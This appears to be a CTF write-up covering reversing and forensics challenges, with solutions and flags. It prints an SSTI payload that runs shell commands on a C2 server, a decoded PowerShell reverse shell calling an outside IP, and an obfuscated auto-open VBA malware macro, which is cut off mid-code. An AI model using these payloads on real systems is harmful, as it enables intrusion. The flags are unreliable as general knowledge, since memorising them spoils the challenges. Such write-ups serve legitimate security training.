B = [[110, 451, 840, 504, -855, 70, -367, -766, 378, 346, -806, -400, 297, 749], [42, 946, 705, 570, -977, 338, 545, -764, -223, -879, 418, 377, 644, -100], [808, 973, 972, 809, 234, -26, 299, -46, -823, 610, 55, -164, 899, 725], [102, -969, -192, -189, -157, 721, -665, 910, 21, -334, 640, 225, -296, 80], [749, 138, -341, -140, -569, 601, -646, -474, 340, -406,151, 621, 992, -491], [70, -735, 579, 120, -238, 153, -197, -235, -174, 655, -101, 523, -327, 962], [612, 702, 949, -467, -8, -336, 961, -996, -88, -412, 938, 609, -383, -359], [179, -99, -224, 36, 892, 170, 51, -286, -317, 313, 988, -332, 733, 691], [258, 277, 211, 220, 929, -860, -237, 321, -412, -694, 972, 938, 587, 441], [964, 773, -169, 135, -230, 48, 527, -976, -148, -716, 86, 548, 437, 387], [598, 343, 385, -774, -579, -9, -883, -419, 547, 512, -869, -86, 438, -924], [163, 690, 557, 982, -154, -118, -672, 99, 883, 21, -953, 532, -562, 549], [337, 339, 607, -391, -684, 460, -341, -757, -557, 379, -887, -178, -660, -718], [682, 149, 131, 603, -119, -737, 925, 593, 162, -637, 616, 761, 20, -277]]C = [10699, 61677, 417944, 27876, 86237, 124555, 99472, 248916, 284272, 137743, -116586, 141428, -267187, 247270]
A = np.linalg.lstsq(B, C, rcond=None)[0]
print(A)
x = [113, 50, 48, 79, 75,51,54,81,66,105,87,107,90 ,84]
print("Pass: ", end = "")
for c in x: print(chr(c), end = "")Enter the password and get the flag:
Flag: CHH{C00k13_4R3n4}
CV Malware
Description
Recently, attackers have been compromising victims via malware embedded in Word documents. Once executed, the malware exfiltrates data to a C&C server. Can the hacker be hacked? Let’s go threat hunting!
Download challenge: https://drive.google.com/file/d/1uscuEYlMwBpdV77UCHjtMEUxXsUBrzrz/view?usp=sharing (pass: cookiehanhoan)
SHA-256 (c***.exe) = 61b07970c0a3f4a7e3090aa5d65d48cb0be49c203ffae358ff886a2c2592829f
Hint: The FLAG is on the host server — connect correctly and exploit.
Solution
Extracting updated-cv-pentester.docx:
After extraction, Windows Defender immediately flags a file…
That’s the most suspicious file.
Decoding the hex above:
server: host: http://REPLACE_HOST_HERE secret: SecR3TtOKenLikely we replace HOST with the running web challenge URL.
Decode the base64 file:
It’s an executable. Open in IDA:
Continue by inspecting the Download function:
Visit the challenge and download /static/client.exe.
Switch to analyzing client.exe.
Inspect the main function:
We notice main_sendPostRequest — likely sending requests to the challenge server. Reading further, main_loadallconfigs looks for a companion config file. We recall the hex-decoded secret had a server: hostname + secret YAML-like structure, but YAML parsing failed. Switching to INI format works.
Edit config.ini to:
server: host: http://HOST secret: SecR3TtOKenUsing Wireshark to capture traffic:
POST / HTTP/1.1Host: HOSTUser-Agent: Go-http-client/1.1Content-Length: 67Content-Type: application/jsonSecret: SecR3TtOKenAccept-Encoding: gzip
{"username":"username","hostname":"hostname"}HTTP/1.1 200 OKDate: Sat, 08 Jul 2023 12:49:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 45Connection: keep-alive
Logged username hostnameSo the exe just registers with the C&C and sends system info. Combined with the hint that the flag is on the server, the exe is no longer needed — pentesting the host reveals SSTI. Write a script to extract the flag:
import requests
url = "host"headers = { "User-Agent": "Go-http-client/1.1", "Content-Type": "application/json", "Secret": "SecR3TtOKen", "Accept-Encoding": "gzip"}payload = { "username": "{{ "{{" }}''.__class__.mro()[1].__subclasses__()[417]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip(){{ "}}" }}", "hostname": "okeoke"}response = requests.post(url, headers=headers, json=payload)print(response.text)Flag: CHH{ExtR@Ct_m4CRo_aNd_h@Ck_C2c_d949ae029dc82b4bba3bf3db654041a4}
Forensic
Registry Notebook
Description
Hoa noticed strange behavior every time he starts his computer. He suspects his recent downloads of questionable videos have gotten him hacked.
Download challenge: https://drive.google.com/file/d/1pShye_YtnUuIObPdnq9PeiIge0Oelsix/view?usp=drive_link (pass: cookiehanhoan)
Solution
Download the challenge and open NTUSER.DAT in Registry Explorer.
Based on the challenge description, search for powershell.exe and cmd.exe to spot anything unusual — and we find this shell entry:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "(neW-obJEct io.COMprEssIon.dEFlATesTReAm( [sySTem.IO.memorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEM.iO.ComPReSSion.CoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct io.streAMrEadeR( $_,[sysTem.TExt.EnCoDING]::asCIi )}).reaDToEnD()|Write-Line"Replace Invoke with Write to print the decompressed code instead of executing it:
$client = New-Object System.Net.Sockets.TCPClient("192.168.253.27",4953);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "CHH{N0_4_go_n0_st4r_wh3r3}" + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()Flag: CHH{N0_4_go_n0_st4r_wh3r3}
Office Automation
Description
After completing a basic office automation course, Hoa can now create malicious document files and plans to use them to hack the world.
Download challenge: https://drive.google.com/file/d/1WrLFE5qA-qJ6iLEQYQqCo0Xb99Yz8mTH/view?usp=drive_link (pass: cookiehanhoan)
Solution
Run olevba Challenge.doc:
...MsgBox "CHH{If_u_w4nt_1_will_aft3rnull_u}"...Flag: CHH{If_u_w4nt_1_will_aft3rnull_u}
Trivial FTP
Description
Employees of company X used an insecure protocol to transfer files remotely, giving attackers a Man-in-the-Middle opportunity to steal sensitive company data.
Download challenge: https://drive.google.com/file/d/1AqsNR8eKe527iZJf1koNRs1pl9YhK0Ev/view?usp=drive_link (pass: cookiehanhoan)
Solution
Using Wireshark, we capture a TFTP transfer of flag.pdf.
TFTP packets are 516 bytes: 4-byte header (sequence number) + 512 bytes of data. We extract only the 512-byte payload from each packet.
Follow the UDP stream and save as flag.pdf. It needs fixing because TFTP uses netascii encoding:
import re, osre_from_netascii = re.compile(b'(\x0d\x0a|\x0d\x00)')CR = b'\x0d'LF = b'\x0a'CRLF = CR + LFNUL = b'\x00'CRNUL = CR + NUL
if isinstance(os.linesep, bytes): NL = os.linesepelse: NL = os.linesep.encode("ascii")
def _convert_from_netascii(match_obj): if match_obj.group(0) == CRLF: return NL elif match_obj.group(0) == CRNUL: return CR
def from_netascii(data): """Convert a netascii-encoded string into a string with platform-specific newlines.
""" return re_from_netascii.sub(_convert_from_netascii, data)
with open("flag.pdf", "rb") as f: t = f.read()
x = b""
for i in range(0, len(t), 516): x += t[i+4:i+516]
with open("flag_new.pdf", "wb") as f: f.write(from_netascii(x).replace(b"\r\n", b"\n"))
Flag: CHH{FTP_4nd_TFTP_4r3_b0th_un$af3}
Unfinished Report
Description
Hoa was writing a report for his teacher when his computer suddenly shut down due to a power outage — and he hadn’t saved once. Instead of rewriting the report, Hoa spent 4 hours trying to recover it from a crash dump, but failed. Hoa really needs help.
Download challenge: https://drive.google.com/file/d/19OCHSjzHmzFBoSLYB90nkrZLnREpZ1nG/view?usp=drive_link (pass: cookiehanhoan)
Solution
Use Volatility to analyze MEMORY.DMP:
vol.exe -f "MEMORY.DMP" windows.pslist.PsListUsing pslist, we get the process list. The description points us to WINWORD.EXE — PID: 1736.
vol.exe -f "MEMORY.DMP" windows.handles.Handles --pid 1736Output:
PID Process Offset HandleValue Type GrantedAccess Name...
1736 WINWORD.EXE 0xf8a001cebbf0 0x718 Section 0xf00071736 WINWORD.EXE 0xfa80040fd2f0 0x71c Event 0x1f0003 OleDfRootC3E09668F74F21C51736 WINWORD.EXE 0xfa80041e2070 0x720 File 0x12019f \Device\HarddiskVolume2\Users\admin\AppData\Roaming\Microsoft\Word\AutoRecovery save of Document1.asd1736 WINWORD.EXE 0xfa8004652e80 0x724 File 0x13019f \Device\HarddiskVolume2\Users\admin\AppData\Local\Temp\~DF0CB75D50BF46E632.TMP...=> We find the AutoRecovery file — extract it with dumpfiles:
vol.exe -f "MEMORY.DMP" dumpfiles --pid 1736
Final step: rename the .asd file to .zip and extract it.
Search the extracted media folder — there’s an image containing the flag:
Flag: CHH{4ut0R3c0v3r_s4v3_my_l1f3}
Under Control
Description
After Hoa’s previous malicious document was torn apart by Cookie Arena analysts for being too simple, he took an advanced office automation course to build something more sophisticated. He then tested the new malware by phishing his teacher — successfully gaining control of the teacher’s computer and even stealing the upcoming final exam.
Download challenge: https://drive.google.com/file/d/1gISGx8IgR84qTBW7fbXs5HqlED1TESQ-/view?usp=drive_link (pass: cookiehanhoan)
Solution
Open the pcap, follow the HTTP stream and download the Excel file:
Every time we download it, AV immediately flags it — likely a macro. Download to Linux and run olevba to extract the macro code:
Function ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨) ¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»· = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥" »¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢ = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ" For y = 1 To Len(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨) ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯© = InStr(¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·, Mid(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨, y, 1)) If ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯© > 0 Then ¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®« = Mid(»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢, ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯©, 1) ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» + ¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®« Else ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» + Mid(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨, y, 1) End If Next ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨ = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» For ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° = 1 To Len(®¶®¾ª¼¿¢·¥»°¾£º¤¿º·¡¦ª¹¹¾´°¢²¶©»°´¢«°µ¸¶¥¤·«½¿¢´¹º¡º»º¸®µ»³¸µ»¦¦½¨¾¾¨¦²) ®¶®¾ª¼¿¢·¥»°¾£º¤¿º·¡¦ª¹¹¾´°¢²¶©»°´¢«°µ¸¶¥¤·«½¿¢´¹º¡º»º¸®µ»³¸µ»¦¦½¨¾¾¨¦² = ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° Next For ¥½µ©¡»¡·¤¼¶µ¢¾·½¼¾®¦»»¼¬§ª¦·°¹·³¹¸¤µ³³¡¢£§´¤´¹¨´¡¾¦¬°¹¦¼¥°¡³» = 2 To Len(£©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦) £©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ = 2 Next For »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· = 3 To Len(»¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸) »¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸ = »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· Next For ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ = 4 To Len(´³®½£¼µ·©¡¤¨®º²§¿»²¹£°»¦¾¹²²³¡¨«¯°»³¸¢»¹²£»´£¬¦º¸¸³¾½¨¡º¥¬¥«¹·§¶¶°¦«¹¥¤·) ´³®½£¼µ·©¡¤¨®º²§¿»²¹£°»¦¾¹²²³¡¨«¯°»³¸¢»¹²£»´£¬¦º¸¸³¾½¨¡º¥¬¥«¹·§¶¶°¦«¹¥¤· = 2 NextEnd FunctionSub Workbook_Open() Dim ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§ As Object Dim ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ As String Dim ¤¸¿º«¡¬¡°µ²¢¹¾¿¡¼²¥¾®¨¶µ»¾«º½¼»ª²¢¾ª¤»¹¬»¾»¸¤µµ°¡§¬¿§¢¥§¥£¶¢¥©¨ As String Dim §»¶¬¡¦¹³¾¸¸³££¹´´¸³¥¦´¢¹¥··£°¿²»º¶°°¥©²¢°¾ª«°©«®·½½··´®¹°µµ©½½§¥·°»¢¼¼´¡¦¡«¹ As String Dim ¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ As Integer ¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ = Chr(50) + Chr(48) + Chr(48) Set ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§ = CreateObject("WScript.Shell") ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ = ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§.SpecialFolders("AppData") Dim ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ Dim ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ Dim ¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯©¶ Dim ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° As Long Dim ¥½µ©¡»¡·¤¼¶µ¢¾·½¼¾®¦»»¼¬§ª¦·°¹·³¹¸¤µ³³¡¢£§´¤´¹¨´¡¾¦¬°¹¦¼¥°¡³» As String Dim ¿¨¡©§¾¡º·¼½µ¡®¾¥¼½«¹´¥¥¶²°»¤¡·»°¬£°¿¥§¬¸©º¢¾¥·´£¹¥¡½¬¸ª´º°»§¬¥¡£¢¦»·¶ As Long Dim »¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸ As String Dim »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· As Long Dim ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ As String Dim °»»¦¡½º®¤¼º¬³¤³º¸¶®¨½®©µ«¢´¾´··¦«º¬º°¥²ª¹«¿º¼£º·¦¢¬°¢¾§µ²° As String Dim £©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ As Long Dim ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ Dim ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ Dim ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ As Integer Dim ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸² Dim ®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°© ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ = 1 Range("A1").Value = ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("4BEiàiuP3x6¿QEi³") Dim ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤ As String ´¸®¢»¬«¢®¼¿¾«²¡»¦°´»·°º¥ª¡½½¤§»´ª§¥¸»®«¶¿¸¶¢³µ¶¾¿¼£²¡¾«¹¶¹§ºµº¦¶¹¦¨¸®¸§¹µ³¢£¯©¦¾·º£¼º²»¨®²¦¤¦·½»¶³ = "$x¿PÜ_jEPkEEiPÜ_6IE3P_i3PÛx¿²PàQBx²³_i³P3x6¿QEi³bPÜ_jEPkEEiPb³x#Eir" & vbCrLf & "ÒxP²E³²àEjEP³ÜEbEP3_³_(PÛx¿P_²EP²E7¿à²E3P³xP³²_ib0E²P@mmIP³xP³ÜEP0x##xÄàiuPk_iIP_66x¿i³Pi¿QkE²:P" & vbCrLf & "@m@m@mo@@§mmm" & vbCrLf & "g66x¿i³PÜx#3E²:PLu¿ÛEiPÒÜ_iÜP!xiu" & vbCrLf & "t_iI:PTtPt_iI" ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤ = ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(´¸®¢»¬«¢®¼¿¾«²¡»¦°´»·°º¥ª¡½½¤§»´ª§¥¸»®«¶¿¸¶¢³µ¶¾¿¼£²¡¾«¹¶¹§ºµº¦¶¹¦¨¸®¸§¹µ³¢£¯©¦¾·º£¼º²»¨®²¦¤¦·½»¶³) MsgBox ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤, vbInformation, ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("pEP3EEB#ÛP²Eu²E³P³xPài0x²QPÛx¿") Dim ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª As Date Dim ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ As Date ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª = Date ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ = DateSerial(2023, 6, 6) If ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª < ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ Then Set ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸² = CreateObject("microsoft.xmlhttp") Set 